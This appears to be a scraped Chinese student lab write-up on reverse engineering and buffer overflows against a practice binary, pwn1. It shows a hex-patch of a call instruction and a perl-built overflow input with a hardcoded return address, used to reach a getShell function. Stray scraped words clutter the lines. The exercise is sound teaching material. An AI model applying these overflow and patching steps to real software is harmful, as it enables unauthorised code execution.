20145228《網絡對抗》逆向及Bof基礎

實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。linux

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。函數

咱們將學習兩種方法:學習

•利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。測試

•手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。code

基礎知識

•objdump命令反彙編目標文件;對象

vi內blog

將顯示模式切換爲16進制模式ip

:%!xxd字符串

查找要修改的內容

/內容

轉換16進製爲原格式

:%!xxd -r

存盤退出vi

:wq

實驗步驟

實驗一、直接修改程序機器指令,改變程序執行流程

·首先進入Vi模式,而後輸入:%!xxd,將顯示模式切換爲16進制模式

·查找要修改的內容/e8d7
·找到後先後的內容和反彙編的對比下,確認是地方是正確的

·修改d7爲c3

·轉換16進製爲原格式:%!xxd -r
·存盤退出vi:wq

·運行下改後的代碼,會獲得shell提示符#

實驗二、經過構造輸入參數,形成BOF攻擊,改變程序執行流

objdump -d pwn1 | more語句來實現反彙編,管道的做用是將前半段的輸出做爲後半段的輸入,從而輸出出來。

在輸出的反彙編語句中找到getshell函數段

·使用gdb進行測試

從獲得的eip值查ASCII碼可得結果爲1234

•使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input指令將perl生成的字符串存儲到文件input中。

•使用輸出重定向「>」將perl生成的字符串存儲到文件input中。


•能夠使用16進制查看指令xxd查看input文件的內容是否如預期。

•用(cat input; cat) | ./20145228將input文件做爲輸入

相關文章
相關標籤/搜索